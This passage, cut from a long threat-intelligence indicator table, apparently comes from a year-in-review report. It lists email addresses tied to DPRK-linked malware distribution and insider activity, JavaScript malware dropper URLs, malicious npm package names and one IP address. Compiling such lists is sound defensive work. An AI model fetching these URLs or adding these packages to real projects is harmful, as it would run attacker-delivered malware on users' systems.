account | Year in Review |\n| `mutsabsaskajgig0f@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `snowl3784@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dieterwang@proton.me` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cesarpassos4808@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lazar.master.0204@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lujancamryn405@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `harryjason19880502@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `fraserhutchison1@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `stovbanoleksandr14@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ramirezhector9299@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mimoriokamoto@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `wilson.wen2145@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jasonfissionawgyi08293@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `olelangaard9@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mirandacunningham1993@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jerryjames1997@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `caryphillips.business727@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1103@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1024@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1020@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business0987@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `alphabrownsapon70555@hotmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `welbykchamu4i72@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `eron4236@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `reddixyxzh551438@hotmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1112@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `richardcook.business93@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jamesgolden198852@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `erik423131@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `alfredogomez1984126@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jasonharris198852@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `xavieryetikqpir36636@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `marcello.armand.tf7@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `gabriel.sanchez255@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `aronlin712@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rickcarr1014@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `sallydunnet.business1016@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dr.md.hubert.business916@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tommyrole0301@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jbutton717@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lilian.rodrigues.re@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `andrewtilley.us@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `davidaheld.manager@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lovelysong0209@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `moreandmore082@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `meirjacob727@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `harry.work206@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `abdelrahman5520032019@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `karenhooi.cpa.cga.business1016@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `craigsmith93.business@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `paulodiego0902@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `faelanholtmdjld41341@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `encar.geric727510@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `irynalavreniuk38@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `melnikoleg995@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `opalinsigniagyprt29567@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `thorneaustinngzsz52979@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `joshuataub3@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `itspeterszabo@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `xylosmontagueujsvt83787@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ivicastojadin488@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996017@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `bryandev0418@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ruslanlarionov77@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `superdev@outlook.com.au` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cristhianmartinezrom7@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `natasa.golubovic90@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `weili.walk@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `afaq91169@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mahmodghnaj1@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `look.as.united@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rochaevertondev@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tabishhassan01998@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `temorexviashvili17@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `vovalishcn77@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996015@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `suryaedg88@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `maurostaver9@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `pleasemeup214@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `vitalii214.ilnytskyi@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `reactangulardev@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `skyearth711@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `migueljose81234@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996010@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `blackwang104@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `kagan.hungri@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `littebaby232355@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `kenycarl92@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `arnas.tf7@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `nandawsu58@hotmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `magalhaesbruno236@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `martytowne03@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `peter@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `martinez@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `peterforward@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rick.cto@dantelabs.us` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tomgleeson92@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `huqyyitizomu@hotmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tracykevin5590@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seniorsky92@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `meftaht531@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tapiasamjann@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `johnwatson2327a@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `donald.edler0626@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `chrisritter5272@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `hs8179189@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dredsoft@proton.me` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `bloxdev1999@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `star712418@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jackson.murray.tf7@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `hudsonramsey107@outlook.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `samjanntapia@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dyup58725@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `davidfernandez420@outlook.com` | email | malware | N/A | May 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `scottdavis8188@gmail.com` | email | malware | N/A | May 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `samjannt1211@gmail.com` | email | malware | N/A | April 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ahmed03010229@gmail.com` | email | malware | N/A | April 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `hidranomagica@outlook.com` | email | malware | N/A | March 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jackson.blau.eth@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `agne09541@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `antontarasiuk0512@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `michael.dilks8500@gmail.com` | email | malware | N/A | January 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ignacioquesada127@gmail.com` | email | malware | N/A | January 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `http://chainlink-api-v3.cloud/api/service/token/3ae1d04a7c1a35b9edf045a7d131c4a7` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.cloud/api/service/token/792a2e10b9eaf9f0a73a71916e4269bc` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.com/api/service/token/1a049de15ad9d038a35f0e8b162dff76` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.com/api/service/token/7d6c3b0f7d1f3ae96e1d116cbeff2875` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.com/api/service/token/b2040f01294c183945fdbe487022cf8e` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://openmodules.org/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://w3capi.marketing/api/v2/node/d6a8d0d14d3fbb3d5e66c8b007b7a2eb` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/106` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/212` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/81` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/823` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/99` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.mocki.io/v2/8sg8bhsv/tracks/errors/665232` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/159a15993f79c22e8ff6` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/62755a9b33836b5a6c28` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/b1f111907933b88418e4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/b68a5c259541ec53bb5d` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/c82d987dd2a0fb62e87f` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/d1ef256fc2ad6213726e` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/d4dfbbac8d7c44470beb` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/e6a6bfb97a294115677d` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/f4be0f7713a6fcdaac8b` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/f96fb4e8596bf650539c` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://astraluck-vercel.vercel.app/api/data` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://bs-production.up.railway.app/on` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://getApilatency.onrender.com/checkStatus` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://getpngdata.vercel.app/api/data` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://googlezauthtoken.vercel.app/checkStatus?id=S,T` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://ip-api-test.vercel.app/api/ip-check-encrypted/3aeb34a38` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://ip-check-server.vercel.app/api/ip-check-encrypted/3aeb34a37` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/4NAKK` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/8RLOV` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/CNMYL` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/DMVPT` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/E4YPZ` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/E7GKK` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/FM8D6` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/GLGT4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/L4T7Y` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/PCDZO` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/PQPTZ` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/WCXNT` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/XRGF3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/XV3WO` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jwt-alpha-woad.vercel.app/api` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://metric-analytics.vercel.app/api/getMoralisData` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://pngconvert-p0kl4fodi-jhones-projects-f8ddbcbe.vercel.app/api` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/linux?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/linux?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/linux?flag=8` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/mac?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/mac?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/mac?flag=8` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=8` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load-config.vercel.app/settings/linux?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load-config.vercel.app/settings/mac?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load-config.vercel.app/settings/windows?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/linux?flag=2` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/linux?flag=4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/linux?flag=9` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/mac?flag=2` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/mac?flag=4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/mac?flag=9` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/windows?flag=2` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/windows?flag=4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/windows?flag=9` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://web3-metric-analytics.vercel.app/api/getMoralisData` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://zone-api-navy.vercel.app/api/ip-check/99` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `passport-google-auth-token` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `dotenv-extend` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `tailwindcss-animation-advanced` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `seeds-random` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `chai-jsons` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `dotenv-intend` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `preset-log` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `111.197.183.74` | ipv4 | insider | October 2025 | October 2025 | Originating IP address of Kil-Nam Kang | 1 |\n| `alancdouglas@googlemail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `alphatech1010@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `amitnyc007@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `anniegirl2023@163.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `appyleonardo77@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `awmango123@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `bowavelink@163.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `cpduran0622@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `docker1001@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `elvialc620@163.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `emilyvanessaaa@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `enrique122528@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `erasmusmadridtrops@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `ericdoublin1111@yahoo.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro1@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro1@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `fangshan2019@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `goldstar0906@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `gtracks.onelink@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `happycoder1111@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `happyleonardo77@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `hittapa9@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `housinginmadrid@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `imadjeghalef@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `imranwork44@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `indulgenight@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `janeisman@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `janeisman21@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `jingya0131@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `jinkonachi@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `joizelmorojo@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `jorgencnc0608@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `jorgencnc0608@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `jorgencnc960608@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `jose.bfran86@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `jose.bfran86@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `k_star_0131@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `kbsy2019@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `khatijha555@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `kk14s@ya.ru` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `knightrogue414@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `konachi0531@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `kosong0926@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `kosong0926@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `lava_0208@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `leonardo_perez@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `li.guangri.2020@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `lovinmadrid@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `marza0219@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `mazheng225@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `michael-mardjuki@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `michael.getz28@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `onepushsing@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `owaisugh75@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `paku_2018@yahoo.co.jp` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `pohs0131@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `r_gi_19950603@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `r_gi19950603@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `raphael.privat@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `rhs0219@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `rksonava1@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `rodev097@gmail.com` | email | insider | N/A | N/A 